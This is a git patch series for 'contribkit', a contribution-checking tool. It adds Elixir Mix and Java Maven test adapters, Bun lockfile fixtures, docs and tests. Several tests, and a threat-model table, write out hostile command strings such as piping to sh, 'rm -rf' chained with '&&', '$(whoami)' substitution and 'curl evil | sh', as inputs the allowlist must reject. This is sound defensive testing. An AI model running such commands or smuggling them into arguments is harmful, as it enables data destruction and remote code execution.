}); + + const bunRepo = await stageFixture("bun-lock"); + await preflight({ repoPath: bunRepo, baseRef: "HEAD", runTests: true, executeCommand }); + expect(executeCommand).toHaveBeenLastCalledWith(["bun", "test"], bunRepo); + }); + + it("rejects extra arguments and shell syntax for the new families", () => { + expect(allowlistedArgv("deno test")).toEqual(["deno", "test"]); + expect(allowlistedArgv("bun test")).toEqual(["bun", "test"]); + expect(allowlistedArgv("deno test --allow-net")).toBeUndefined(); + expect(allowlistedArgv("bun test --watch")).toBeUndefined(); + expect(allowlistedArgv("deno test | sh")).toBeUndefined(); + expect(allowlistedArgv("bun test && rm -rf /tmp")).toBeUndefined(); + expect(allowlistedArgv("bun test $(whoami)")).toBeUndefined(); + }); }); From 1c79a9d9dbea9253617fd031b9baf187f5b6360f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C4=90=C3=A1i=20Chung=20Hy?= Date: Mon, 24 Aug 2026 02:49:11 +0700 Subject: [PATCH 2/2] feat: add Elixir Mix and Java Maven adapters --- .github/ISSUE_TEMPLATE/adapter.yml | 2 +- .github/SECURITY.md | 2 +- README.md | 4 +- adapters/elixir-mix/README.md | 8 ++ adapters/elixir-mix/adapter.json | 6 + adapters/elixir-mix/hints.yml | 3 + adapters/elixir-mix/tests/golden.json | 6 + adapters/java-maven/README.md | 8 ++ adapters/java-maven/adapter.json | 6 + adapters/java-maven/hints.yml | 3 + adapters/java-maven/tests/golden.json | 6 + adapters/node-npm-test/README.md | 2 +- adapters/node-npm-test/adapter.json | 6 +- docs/ADAPTER_AUTHORING.md | 10 +- docs/THREAT_MODEL.md | 2 +- .../bun-lock-package-script/CONTRIBUTING.md | 3 + .../repos/bun-lock-package-script/LICENSE | 1 + .../repos/bun-lock-package-script/bun.lock | 1 + .../bun-lock-package-script/change/README.md | 1 + .../bun-lock-package-script/package.json | 6 + .../bun-lockb-package-script/CONTRIBUTING.md | 3 + .../repos/bun-lockb-package-script/LICENSE | 1 + .../repos/bun-lockb-package-script/bun.lockb | 1 + .../bun-lockb-package-script/change/README.md | 1 + .../bun-lockb-package-script/package.json | 6 + .../bun-script-without-marker/CONTRIBUTING.md | 3 + .../repos/bun-script-without-marker/LICENSE | 1 + .../change/README.md | 1 + .../bun-script-without-marker/package.json | 6 + fixtures/repos/elixir-mix/CONTRIBUTING.md | 3 + fixtures/repos/elixir-mix/LICENSE | 1 + fixtures/repos/elixir-mix/change/README.md | 3 + fixtures/repos/elixir-mix/mix.exs | 7 ++ fixtures/repos/java-maven/CONTRIBUTING.md | 3 + fixtures/repos/java-maven/LICENSE | 1 + fixtures/repos/java-maven/change/README.md | 3 + fixtures/repos/java-maven/pom.xml | 9 ++ src/adapters.ts | 17 ++- src/allowlist.ts | 6 + src/compile.ts | 23 ++-- src/repo.ts | 1 + test/adapters.test.ts | 109 ++++++++++++++---- test/threat.test.ts | 7 ++ 43 files changed, 258 insertions(+), 44 deletions(-) create mode 100644 adapters/elixir-mix/README.md create mode 100644 adapters/elixir-mix/adapter.json create mode 100644 adapters/elixir-mix/hints.yml create mode 100644 adapters/elixir-mix/tests/golden.json create mode 100644 adapters/java-maven/README.md create mode 100644 adapters/java-maven/adapter.json create mode 100644 adapters/java-maven/hints.yml create mode 100644 adapters/java-maven/tests/golden.json create mode 100644 fixtures/repos/bun-lock-package-script/CONTRIBUTING.md create mode 100644 fixtures/repos/bun-lock-package-script/LICENSE create mode 100644 fixtures/repos/bun-lock-package-script/bun.lock create mode 100644 fixtures/repos/bun-lock-package-script/change/README.md create mode 100644 fixtures/repos/bun-lock-package-script/package.json create mode 100644 fixtures/repos/bun-lockb-package-script/CONTRIBUTING.md create mode 100644 fixtures/repos/bun-lockb-package-script/LICENSE create mode 100644 fixtures/repos/bun-lockb-package-script/bun.lockb create mode 100644 fixtures/repos/bun-lockb-package-script/change/README.md create mode 100644 fixtures/repos/bun-lockb-package-script/package.json create mode 100644 fixtures/repos/bun-script-without-marker/CONTRIBUTING.md create mode 100644 fixtures/repos/bun-script-without-marker/LICENSE create mode 100644 fixtures/repos/bun-script-without-marker/change/README.md create mode 100644 fixtures/repos/bun-script-without-marker/package.json create mode 100644 fixtures/repos/elixir-mix/CONTRIBUTING.md create mode 100644 fixtures/repos/elixir-mix/LICENSE create mode 100644 fixtures/repos/elixir-mix/change/README.md create mode 100644 fixtures/repos/elixir-mix/mix.exs create mode 100644 fixtures/repos/java-maven/CONTRIBUTING.md create mode 100644 fixtures/repos/java-maven/LICENSE create mode 100644 fixtures/repos/java-maven/change/README.md create mode 100644 fixtures/repos/java-maven/pom.xml diff --git a/.github/ISSUE_TEMPLATE/adapter.yml b/.github/ISSUE_TEMPLATE/adapter.yml index 5e9bd89..910f7d3 100644 --- a/.github/ISSUE_TEMPLATE/adapter.yml +++ b/.github/ISSUE_TEMPLATE/adapter.yml @@ -27,7 +27,7 @@ body: id: test-family attributes: label: Allowlisted test command family - description: Must be a simple argv family (pytest, npm test, cargo test, go test). No pipes. + description: Must be a simple argv family (pytest, npm test, cargo test, go test, mix test, mvn test). No pipes. placeholder: pytest -q validations: required: true diff --git a/.github/SECURITY.md b/.github/SECURITY.md index 4554a1b..76c9145 100644 --- a/.github/SECURITY.md +++ b/.github/SECURITY.md @@ -2,6 +2,6 @@ Report vulnerabilities privately via GitHub Security Advisories on this repository. -contribkit does not execute commands found in a target repository unless the user passes `--run-tests` and the argv matches the allowlist in [docs/THREAT_MODEL.md](../docs/THREAT_MODEL.md) (`npm test`, `pytest`, `cargo test`, `go test`, and close families). Pipes, `&&`, and `$()` are rejected. +contribkit does not execute commands found in a target repository unless the user passes `--run-tests` and the argv matches the allowlist in [docs/THREAT_MODEL.md](../docs/THREAT_MODEL.md) (`npm test`, `pytest`, `cargo test`, `go test`, `mix test`, and `mvn test`). Pipes, `&&`, and `$()` are rejected. Do not send tokens or private repository contents to public issues. diff --git a/README.md b/README.md index 5853cde..8f6c99c 100644 --- a/README.md +++ b/README.md @@ -53,7 +53,7 @@ Claude Code plugin (local marketplace, not the Anthropic catalog): `--json` prints machine-readable contract or receipt JSON. Preflight exit codes: `blocked` → 1; `pass` and `needs-human` → 0. `--repo` must be a git clone root, not a nested folder of another repository. -`--run-tests` is opt-in. It only executes exact allowlisted argv (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`, `bun test`, `deno test`). Extra arguments, pipes, `&&`, and `$()` are rejected. Default preflight only *records* commands already supplied; it does not run the target repository. +`--run-tests` is opt-in. It only executes exact allowlisted argv (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`, `bun test`, `deno test`, `mix test`, `mvn test`). Extra arguments, pipes, `&&`, and `$()` are rejected. Default preflight only *records* commands already supplied; it does not run the target repository. `CONTRIBKIT_ALLOW=1` sets `receipt.overridden = true`. It does not rewrite tool argv. @@ -65,7 +65,7 @@ Claude Code plugin (local marketplace, not the Anthropic catalog): - Golden fixtures under `fixtures/repos/` - Claude plugin: `.claude-plugin/plugin.json`, `skills/*`, `hooks/hooks.json` (Bash|PowerShell `gh`/`glab` **and** `mcp__.*__create_pull_request`) - MCP stdio: `node dist/src/cli.js mcp` tools `compile_contract`, `preflight_diff`, `explain_receipt` -- Bundled adapters: `python-pytest`, `node-npm-test`, `go-test`, `bun-test`, `deno-test` (advisory `command_recorded` only unless `blockAdapters`) +- Bundled adapters: `python-pytest`, `node-npm-test`, `go-test`, `bun-test`, `deno-test`, `elixir-mix`, `java-maven` (advisory `command_recorded` only unless `blockAdapters`) - Adapter authoring guide: [docs/ADAPTER_AUTHORING.md](docs/ADAPTER_AUTHORING.md) ## What is not shipped diff --git a/adapters/elixir-mix/README.md b/adapters/elixir-mix/README.md new file mode 100644 index 0000000..e5e5b92 --- /dev/null +++ b/adapters/elixir-mix/README.md @@ -0,0 +1,8 @@ +# elixir-mix + +Activates when the target tree has `mix.exs`. Adds an advisory `command_recorded` check for the +exact argv `mix test` unless `contribkit.yml` lists `elixir-mix` under `blockAdapters`. + +The command is never run by default. `--run-tests` is required, and contribkit executes only the +allowlisted argv with no extra arguments, pipes, `&&`, or `$()`. Target-repository adapter folders +are ignored. diff --git a/adapters/elixir-mix/adapter.json b/adapters/elixir-mix/adapter.json new file mode 100644 index 0000000..3089c38 --- /dev/null +++ b/adapters/elixir-mix/adapter.json @@ -0,0 +1,6 @@ +{ + "id": "elixir-mix", + "match": { "filesAny": ["mix.exs"] }, + "testCommand": "mix test", + "maxDiffLines": null +} diff --git a/adapters/elixir-mix/hints.yml b/adapters/elixir-mix/hints.yml new file mode 100644 index 0000000..fcf1556 --- /dev/null +++ b/adapters/elixir-mix/hints.yml @@ -0,0 +1,3 @@ +# Hints only. Never executed. +id: elixir-mix +testFamily: mix test diff --git a/adapters/elixir-mix/tests/golden.json b/adapters/elixir-mix/tests/golden.json new file mode 100644 index 0000000..b9597c8 --- /dev/null +++ b/adapters/elixir-mix/tests/golden.json @@ -0,0 +1,6 @@ +{ + "id": "elixir-mix", + "expectRuleId": "adapter-elixir-mix", + "expectCommand": "mix test", + "expectSeverity": "advisory" +} diff --git a/adapters/java-maven/README.md b/adapters/java-maven/README.md new file mode 100644 index 0000000..ebe2cbb --- /dev/null +++ b/adapters/java-maven/README.md @@ -0,0 +1,8 @@ +# java-maven + +Activates when the target tree has `pom.xml`. Adds an advisory `command_recorded` check for the +exact argv `mvn test` unless `contribkit.yml` lists `java-maven` under `blockAdapters`. + +The command is never run by default. `--run-tests` is required, and contribkit executes only the +allowlisted argv with no extra arguments, pipes, `&&`, or `$()`. Target-repository adapter folders +are ignored. diff --git a/adapters/java-maven/adapter.json b/adapters/java-maven/adapter.json new file mode 100644 index 0000000..d73a409 --- /dev/null +++ b/adapters/java-maven/adapter.json @@ -0,0 +1,6 @@ +{ + "id": "java-maven", + "match": { "filesAny": ["pom.xml"] }, + "testCommand": "mvn test", + "maxDiffLines": null +} diff --git a/adapters/java-maven/hints.yml b/adapters/java-maven/hints.yml new file mode 100644 index 0000000..5332e3a --- /dev/null +++ b/adapters/java-maven/hints.yml @@ -0,0 +1,3 @@ +# Hints only. Never executed. +id: java-maven +testFamily: mvn test diff --git a/adapters/java-maven/tests/golden.json b/adapters/java-maven/tests/golden.json new file mode 100644 index 0000000..ee055e1 --- /dev/null +++ b/adapters/java-maven/tests/golden.json @@ -0,0 +1,6 @@ +{ + "id": "java-maven", + "expectRuleId": "adapter-java-maven", + "expectCommand": "mvn test", + "expectSeverity": "advisory" +} diff --git a/adapters/node-npm-test/README.md b/adapters/node-npm-test/README.md index e4c0fef..b692d76 100644 --- a/adapters/node-npm-test/README.md +++ b/adapters/node-npm-test/README.md @@ -1,3 +1,3 @@ # node-npm-test -Activates when the target tree has `package.json`. Adds advisory `npm test` recording unless a `command_recorded` rule for that family already exists, or `blockAdapters` includes `node-npm-test`. +Activates when the target tree has `package.json`, unless the project declares Bun or has a Bun lockfile. Adds advisory `npm test` recording unless a `command_recorded` rule for that family already exists, or `blockAdapters` includes `node-npm-test`. diff --git a/adapters/node-npm-test/adapter.json b/adapters/node-npm-test/adapter.json index d9dbc7b..b295a63 100644 --- a/adapters/node-npm-test/adapter.json +++ b/adapters/node-npm-test/adapter.json @@ -1,6 +1,10 @@ { "id": "node-npm-test", - "match": { "filesAny": ["package.json"], "excludePackageManagers": ["bun"] }, + "match": { + "filesAny": ["package.json"], + "excludePackageManagers": ["bun"], + "excludeFilesAny": ["bun.lockb", "bun.lock"] + }, "testCommand": "npm test", "maxDiffLines": null } diff --git a/docs/ADAPTER_AUTHORING.md b/docs/ADAPTER_AUTHORING.md index fa54665..bd178bf 100644 --- a/docs/ADAPTER_AUTHORING.md +++ b/docs/ADAPTER_AUTHORING.md @@ -38,7 +38,9 @@ PR description must state whether the adapter is advisory or listed in `blockAda is advisory so a new ecosystem adapter cannot silently block a contribution. Keep the command recorded in the receipt and let the maintainer decide whether it belongs in a blocking policy. -The current bundled set is `python-pytest`, `node-npm-test`, `go-test`, `bun-test`, and `deno-test`. -New adapters should have a real repository shape to match and should not be added only to increase -the adapter count. A manifest may use `packageManager: bun` for a `package.json` marker; a -`packageManager` condition is not applied to lockfile matches. +The current bundled set is `python-pytest`, `node-npm-test`, `go-test`, `bun-test`, `deno-test`, +`elixir-mix`, and `java-maven`. New adapters should have a real repository shape to match and +should not be added only to increase the adapter count. A manifest may use `packageManager: bun` +for a `package.json` marker; a `packageManager` condition is not applied to lockfile matches. +An adapter may use `excludeFilesAny` when a stronger repository marker must take priority over a +generic file match. diff --git a/docs/THREAT_MODEL.md b/docs/THREAT_MODEL.md index 6df7ab2..8de0d38 100644 --- a/docs/THREAT_MODEL.md +++ b/docs/THREAT_MODEL.md @@ -17,7 +17,7 @@ | ID | Threat | Control | | --- | --- | --- | -| T1 | CONTRIBUTING says `test: curl evil \| sh` and preflight executes it | **Never execute** target commands unless `--run-tests` AND argv matches the exact allowlist (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`, `bun test`, `deno test`). No extra args, pipes, `&&`, `$()`, or network helpers. Default: only *record* commands already in `recordedCommands`. | +| T1 | CONTRIBUTING says `test: curl evil \| sh` and preflight executes it | **Never execute** target commands unless `--run-tests` AND argv matches the exact allowlist (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`, `bun test`, `deno test`, `mix test`, `mvn test`). No extra args, pipes, `&&`, `$()`, or network helpers. Default: only *record* commands already in `recordedCommands`. | | T2 | `contribkit.yml` of target repo tries to add a blocking rule that shells out | Policy schema: no arbitrary `command` except allowlisted test families. Unknown keys → `needs-human`, never execute. | | T3 | Adapter from a stranger PR in *our* repo contains malware | Review + CI; adapters in **this** repo are trusted after merge. Adapters **inside the target repo** are ignored in v0.1. | | T4 | Hook rewrites `gh pr create --body "$(rm -rf …)"` | Do **not** rewrite command strings. Deny or allow. | diff --git a/fixtures/repos/bun-lock-package-script/CONTRIBUTING.md b/fixtures/repos/bun-lock-package-script/CONTRIBUTING.md new file mode 100644 index 0000000..e06a87f --- /dev/null +++ b/fixtures/repos/bun-lock-package-script/CONTRIBUTING.md @@ -0,0 +1,3 @@ +# Contributing + +Keep the change small and record the required test command. diff --git a/fixtures/repos/bun-lock-package-script/LICENSE b/fixtures/repos/bun-lock-package-script/LICENSE new file mode 100644 index 0000000..a171200 --- /dev/null +++ b/fixtures/repos/bun-lock-package-script/LICENSE @@ -0,0 +1 @@ +TEST LICENSE diff --git a/fixtures/repos/bun-lock-package-script/bun.lock b/fixtures/repos/bun-lock-package-script/bun.lock new file mode 100644 index 0000000..001ab31 --- /dev/null +++ b/fixtures/repos/bun-lock-package-script/bun.lock @@ -0,0 +1 @@ +# Bun lockfile priority fixture. diff --git a/fixtures/repos/bun-lock-package-script/change/README.md b/fixtures/repos/bun-lock-package-script/change/README.md new file mode 100644 index 0000000..b16718c --- /dev/null +++ b/fixtures/repos/bun-lock-package-script/change/README.md @@ -0,0 +1 @@ +Bun lockfile priority fixture. diff --git a/fixtures/repos/bun-lock-package-script/package.json b/fixtures/repos/bun-lock-package-script/package.json new file mode 100644 index 0000000..6640fbf --- /dev/null +++ b/fixtures/repos/bun-lock-package-script/package.json @@ -0,0 +1,6 @@ +{ + "name": "bun-lock-package-script-fixture", + "scripts": { + "test": "bun test" + } +} diff --git a/fixtures/repos/bun-lockb-package-script/CONTRIBUTING.md b/fixtures/repos/bun-lockb-package-script/CONTRIBUTING.md new file mode 100644 index 0000000..e06a87f --- /dev/null +++ b/fixtures/repos/bun-lockb-package-script/CONTRIBUTING.md @@ -0,0 +1,3 @@ +# Contributing + +Keep the change small and record the required test command. diff --git a/fixtures/repos/bun-lockb-package-script/LICENSE b/fixtures/repos/bun-lockb-package-script/LICENSE new file mode 100644 index 0000000..a171200 --- /dev/null +++ b/fixtures/repos/bun-lockb-package-script/LICENSE @@ -0,0 +1 @@ +TEST LICENSE diff --git a/fixtures/repos/bun-lockb-package-script/bun.lockb b/fixtures/repos/bun-lockb-package-script/bun.lockb new file mode 100644 index 0000000..04fda89 --- /dev/null +++ b/fixtures/repos/bun-lockb-package-script/bun.lockb @@ -0,0 +1 @@ +Bun binary lockfile priority fixture. diff --git a/fixtures/repos/bun-lockb-package-script/change/README.md b/fixtures/repos/bun-lockb-package-script/change/README.md new file mode 100644 index 0000000..04fda89 --- /dev/null +++ b/fixtures/repos/bun-lockb-package-script/change/README.md @@ -0,0 +1 @@ +Bun binary lockfile priority fixture. diff --git a/fixtures/repos/bun-lockb-package-script/package.json b/fixtures/repos/bun-lockb-package-script/package.json new file mode 100644 index 0000000..36f8943 --- /dev/null +++ b/fixtures/repos/bun-lockb-package-script/package.json @@ -0,0 +1,6 @@ +{ + "name": "bun-lockb-package-script-fixture", + "scripts": { + "test": "bun test" + } +} diff --git a/fixtures/repos/bun-script-without-marker/CONTRIBUTING.md b/fixtures/repos/bun-script-without-marker/CONTRIBUTING.md new file mode 100644 index 0000000..e06a87f --- /dev/null +++ b/fixtures/repos/bun-script-without-marker/CONTRIBUTING.md @@ -0,0 +1,3 @@ +# Contributing + +Keep the change small and record the required test command. diff --git a/fixtures/repos/bun-script-without-marker/LICENSE b/fixtures/repos/bun-script-without-marker/LICENSE new file mode 100644 index 0000000..a171200 --- /dev/null +++ b/fixtures/repos/bun-script-without-marker/LICENSE @@ -0,0 +1 @@ +TEST LICENSE diff --git a/fixtures/repos/bun-script-without-marker/change/README.md b/fixtures/repos/bun-script-without-marker/change/README.md new file mode 100644 index 0000000..065dca3 --- /dev/null +++ b/fixtures/repos/bun-script-without-marker/change/README.md @@ -0,0 +1 @@ +Bun script without a Bun project marker. diff --git a/fixtures/repos/bun-script-without-marker/package.json b/fixtures/repos/bun-script-without-marker/package.json new file mode 100644 index 0000000..fad1d2c --- /dev/null +++ b/fixtures/repos/bun-script-without-marker/package.json @@ -0,0 +1,6 @@ +{ + "name": "bun-script-without-marker-fixture", + "scripts": { + "test": "bun test" + } +} diff --git a/fixtures/repos/elixir-mix/CONTRIBUTING.md b/fixtures/repos/elixir-mix/CONTRIBUTING.md new file mode 100644 index 0000000..0e338b8 --- /dev/null +++ b/fixtures/repos/elixir-mix/CONTRIBUTING.md @@ -0,0 +1,3 @@ +# Contributing + +Keep changes focused and include a clear commit message. diff --git a/fixtures/repos/elixir-mix/LICENSE b/fixtures/repos/elixir-mix/LICENSE new file mode 100644 index 0000000..3d74f22 --- /dev/null +++ b/fixtures/repos/elixir-mix/LICENSE @@ -0,0 +1 @@ +Apache License 2.0 diff --git a/fixtures/repos/elixir-mix/change/README.md b/fixtures/repos/elixir-mix/change/README.md new file mode 100644 index 0000000..605a9d3 --- /dev/null +++ b/fixtures/repos/elixir-mix/change/README.md @@ -0,0 +1,3 @@ +# Fixture change + +This change exercises the Elixir Mix adapter. diff --git a/fixtures/repos/elixir-mix/mix.exs b/fixtures/repos/elixir-mix/mix.exs new file mode 100644 index 0000000..11d3666 --- /dev/null +++ b/fixtures/repos/elixir-mix/mix.exs @@ -0,0 +1,7 @@ +defmodule ContribkitMixFixture.MixProject do + use Mix.Project + + def project do + [app: :contribkit_mix_fixture, version: "0.1.0", elixir: "~> 1.15"] + end +end diff --git a/fixtures/repos/java-maven/CONTRIBUTING.md b/fixtures/repos/java-maven/CONTRIBUTING.md new file mode 100644 index 0000000..0e338b8 --- /dev/null +++ b/fixtures/repos/java-maven/CONTRIBUTING.md @@ -0,0 +1,3 @@ +# Contributing + +Keep changes focused and include a clear commit message. diff --git a/fixtures/repos/java-maven/LICENSE b/fixtures/repos/java-maven/LICENSE new file mode 100644 index 0000000..3d74f22 --- /dev/null +++ b/fixtures/repos/java-maven/LICENSE @@ -0,0 +1 @@ +Apache License 2.0 diff --git a/fixtures/repos/java-maven/change/README.md b/fixtures/repos/java-maven/change/README.md new file mode 100644 index 0000000..c5b98f3 --- /dev/null +++ b/fixtures/repos/java-maven/change/README.md @@ -0,0 +1,3 @@ +# Fixture change + +This change exercises the Java Maven adapter. diff --git a/fixtures/repos/java-maven/pom.xml b/fixtures/repos/java-maven/pom.xml new file mode 100644 index 0000000..961c66d --- /dev/null +++ b/fixtures/repos/java-maven/pom.xml @@ -0,0 +1,9 @@ + + + 4.0.0 + org.contribkit + java-maven-fixture + 0.1.0 + diff --git a/src/adapters.ts b/src/adapters.ts index af6f632..1001615 100644 --- a/src/adapters.ts +++ b/src/adapters.ts @@ -13,7 +13,12 @@ import { isRecord, type ContractRule, type Severity } from "./types.js"; export interface AdapterManifest { id: string; - match: { filesAny: string[]; packageManager?: PackageManager; excludePackageManagers?: PackageManager[] }; + match: { + filesAny: string[]; + packageManager?: PackageManager; + excludePackageManagers?: PackageManager[]; + excludeFilesAny?: string[]; + }; testCommand: string; maxDiffLines: number | null; } @@ -50,6 +55,12 @@ function parseManifest(raw: unknown, folder: string): AdapterManifest | undefine (item): item is PackageManager => item === "npm" || item === "pnpm" || item === "yarn" || item === "bun", ); if (excluded !== undefined && excludePackageManagers?.length !== excluded.length) return undefined; + const excludedFiles = match.excludeFilesAny; + if (excludedFiles !== undefined && !Array.isArray(excludedFiles)) return undefined; + const excludeFilesAny = excludedFiles?.filter( + (item): item is string => typeof item === "string" && item.length > 0, + ); + if (excludedFiles !== undefined && excludeFilesAny?.length !== excludedFiles.length) return undefined; if (typeof raw.testCommand !== "string" || raw.testCommand.trim().length === 0) return undefined; const maxDiffLines = raw.maxDiffLines === null || raw.maxDiffLines === undefined ? null @@ -63,6 +74,7 @@ function parseManifest(raw: unknown, folder: string): AdapterManifest | undefine filesAny, ...(packageManager !== undefined ? { packageManager } : {}), ...(excludePackageManagers !== undefined ? { excludePackageManagers } : {}), + ...(excludeFilesAny !== undefined ? { excludeFilesAny } : {}), }, testCommand: raw.testCommand.trim(), maxDiffLines, @@ -98,6 +110,9 @@ async function matchingAdapterFile( ref: string, match: AdapterManifest["match"], ): Promise<{ path: string; text: string } | undefined> { + for (const path of match.excludeFilesAny ?? []) { + if (await firstExisting(repoPath, ref, [path])) return undefined; + } for (const path of match.filesAny) { const hit = await firstExisting(repoPath, ref, [path]); if (hit === undefined) continue; diff --git a/src/allowlist.ts b/src/allowlist.ts index 70db00b..e00b449 100644 --- a/src/allowlist.ts +++ b/src/allowlist.ts @@ -15,6 +15,8 @@ export const TEST_ARGV_FAMILIES: readonly (readonly string[])[] = [ ["go", "test"], ["bun", "test"], ["deno", "test"], + ["mix", "test"], + ["mvn", "test"], ]; export type PackageManager = "npm" | "pnpm" | "yarn" | "bun"; @@ -103,6 +105,8 @@ export function inferTestCommand(hints: { mentionsGo?: boolean; mentionsBun?: boolean; mentionsDeno?: boolean; + mentionsMix?: boolean; + mentionsMaven?: boolean; }): string | undefined { if (hints.policyCommand !== undefined) { return allowlistedArgv(hints.policyCommand) ? hints.policyCommand.trim() : undefined; @@ -118,5 +122,7 @@ export function inferTestCommand(hints: { if (hints.mentionsGo) return "go test"; if (hints.mentionsBun) return "bun test"; if (hints.mentionsDeno) return "deno test"; + if (hints.mentionsMix) return "mix test"; + if (hints.mentionsMaven) return "mvn test"; return undefined; } diff --git a/src/compile.ts b/src/compile.ts index c57ae2d..71f63d5 100644 --- a/src/compile.ts +++ b/src/compile.ts @@ -30,7 +30,7 @@ const SIZE_FILES = /\b(?:under|at most|max(?:imum)?|no more than)\s+(\d+)\s+file const SIZE_LINES = /\b(?:under|at most|max(?:imum)?|no more than)\s+(\d+)\s+(?:diff\s+)?lines?\b/i; const TEST_COMMAND_LINE = /(?:^|\n)\s*test(?:s)?\s*[:=]\s*(.+)/i; const ALLOWED_TEST_MENTION = - /\b(npm test|npm run test|pnpm test|yarn test|pytest|python -m pytest|cargo test|go test|bun test|deno test)\b/i; + /\b(npm test|npm run test|pnpm test|yarn test|pytest|python -m pytest|cargo test|go test|bun test|deno test|mix test|mvn test)\b/i; const AI_REQUIRE = /(?:\b(ai|llm|claude|codex)\b.{0,80}\b(disclos|must mention|required|declare)\b|\b(disclos|must mention|declare).{0,80}\b(ai|llm|claude|codex)\b)/i; const DCO_REQUIRE = /(?:require[sd]?|must).{0,40}signed-off-by|signed-off-by.{0,40}(?:required|must)/i; @@ -174,6 +174,7 @@ export async function compile(options: CompileOptions): Promise { - it("loads bundled adapters sorted by id", () => { + it("loads all seven bundled adapters sorted by id", () => { const adapters = loadBundledAdapters(); expect(adapters.map((item) => item.id)).toEqual([ "bun-test", "deno-test", + "elixir-mix", "go-test", + "java-maven", "node-npm-test", "python-pytest", ]); }); it("matches golden.json command families", () => { - for (const id of ["bun-test", "deno-test", "go-test", "node-npm-test", "python-pytest"]) { + for (const id of [ + "bun-test", + "deno-test", + "elixir-mix", + "go-test", + "java-maven", + "node-npm-test", + "python-pytest", + ]) { const golden = JSON.parse( readFileSync(join(repoRoot, "adapters", id, "tests", "golden.json"), "utf8"), ) as { expectRuleId: string; expectCommand: string; expectSeverity: string }; @@ -54,7 +64,11 @@ describe("bundled adapters", () => { }); it("bun-test matches lockfiles and Bun packageManager without matching npm", async () => { - for (const [fixture, origin] of [["bun-lock", "bun.lock"], ["bun-lockb", "bun.lockb"], ["bun-package-manager", "package.json"]] as const) { + for (const [fixture, origin] of [ + ["bun-lock", "bun.lock"], + ["bun-lockb", "bun.lockb"], + ["bun-package-manager", "package.json"], + ] as const) { const repo = await stageFixture(fixture); const contract = await compile({ repoPath: repo }); const rule = allRules(contract).find((item) => item.id === "adapter-bun-test"); @@ -69,6 +83,29 @@ describe("bundled adapters", () => { expect(allRules(nonBunContract).some((item) => item.id === "adapter-bun-test")).toBe(false); }); + it.each([ + ["bun-lock-package-script", "bun.lock"], + ["bun-lockb-package-script", "bun.lockb"], + ] as const)("gives %s Bun marker priority over npm fallback", async (fixture, origin) => { + const repo = await stageFixture(fixture); + const contract = await compile({ repoPath: repo }); + const rules = allRules(contract); + const testRule = rules.find((item) => item.id === "test-command"); + expect(testRule?.command).toBe("bun test"); + expect(testRule?.severity).toBe("block"); + expect(rules.some((item) => item.id === "test-command" && item.command === "npm test")).toBe(false); + expect(rules.some((item) => item.id === "adapter-bun-test" && item.origin === origin)).toBe(false); + expect(rules.some((item) => item.id === "adapter-node-npm-test")).toBe(false); + }); + + it("does not treat a Bun test script as a Bun marker without packageManager or lockfile", async () => { + const repo = await stageFixture("bun-script-without-marker"); + const contract = await compile({ repoPath: repo }); + const rules = allRules(contract); + expect(rules.find((item) => item.id === "test-command")?.command).toBe("npm test"); + expect(rules.some((item) => item.id === "adapter-bun-test")).toBe(false); + }); + it("infers bun test from a Bun packageManager test script", async () => { const repo = await stageFixture("bun-package-manager-script"); const contract = await compile({ repoPath: repo }); @@ -78,37 +115,63 @@ describe("bundled adapters", () => { expect(allRules(contract).some((item) => item.id === "adapter-node-npm-test")).toBe(false); }); - it("runs Deno and Bun only after opt-in and with exact argv", async () => { + it.each([ + ["deno-test", ["deno", "test"]], + ["bun-lock", ["bun", "test"]], + ["elixir-mix", ["mix", "test"]], + ["java-maven", ["mvn", "test"]], + ] as const)("only executes %s after --run-tests opt-in", async (fixture, argv) => { + const repo = await stageFixture(fixture); const executeCommand = vi.fn(async () => ({ exitCode: 0, stdout: "passed", stderr: "" })); - const denoRepo = await stageFixture("deno-test"); - const denoWithoutOptIn = await preflight({ repoPath: denoRepo, baseRef: "HEAD", executeCommand }); - expect(denoWithoutOptIn.snapshot.recordedCommands).toEqual([]); + + const withoutOptIn = await preflight({ repoPath: repo, baseRef: "HEAD", executeCommand }); expect(executeCommand).not.toHaveBeenCalled(); - const denoWithOptIn = await preflight({ - repoPath: denoRepo, + expect(withoutOptIn.snapshot.recordedCommands).toEqual([]); + + const withOptIn = await preflight({ + repoPath: repo, baseRef: "HEAD", runTests: true, executeCommand, }); - expect(executeCommand).toHaveBeenLastCalledWith(["deno", "test"], denoRepo); - expect(denoWithOptIn.snapshot.recordedCommands[0]).toMatchObject({ - command: "deno test", + expect(executeCommand).toHaveBeenCalledWith(argv, repo); + expect(withOptIn.snapshot.recordedCommands[0]).toMatchObject({ + command: argv.join(" "), exitCode: 0, source: "executed", }); + }); + + it("rejects extra arguments and shell syntax for all added families", () => { + for (const command of ["bun test", "deno test", "mix test", "mvn test"]) { + expect(allowlistedArgv(command)).toEqual(command.split(" ")); + expect(allowlistedArgv(`${command} --verbose`)).toBeUndefined(); + expect(allowlistedArgv(`${command} | sh`)).toBeUndefined(); + expect(allowlistedArgv(`${command} && rm -rf /tmp/fixture`)).toBeUndefined(); + expect(allowlistedArgv(`${command} $(touch /tmp/fixture)`)).toBeUndefined(); + } + }); - const bunRepo = await stageFixture("bun-lock"); - await preflight({ repoPath: bunRepo, baseRef: "HEAD", runTests: true, executeCommand }); - expect(executeCommand).toHaveBeenLastCalledWith(["bun", "test"], bunRepo); + it("matches Elixir Mix and Java Maven fixtures and keeps them advisory", async () => { + for (const [fixture, ruleId, origin, command, argv] of [ + ["elixir-mix", "adapter-elixir-mix", "mix.exs", "mix test", ["mix", "test"]], + ["java-maven", "adapter-java-maven", "pom.xml", "mvn test", ["mvn", "test"]], + ] as const) { + const repo = await stageFixture(fixture); + const contract = await compile({ repoPath: repo }); + const rule = allRules(contract).find((item) => item.id === ruleId); + expect(rule?.origin).toBe(origin); + expect(rule?.check).toBe("command_recorded"); + expect(rule?.command).toBe(command); + expect(rule?.severity).toBe("advisory"); + expect(allowlistedArgv(command)).toEqual(argv); + } }); - it("rejects extra arguments and shell syntax for the new families", () => { - expect(allowlistedArgv("deno test")).toEqual(["deno", "test"]); - expect(allowlistedArgv("bun test")).toEqual(["bun", "test"]); - expect(allowlistedArgv("deno test --allow-net")).toBeUndefined(); - 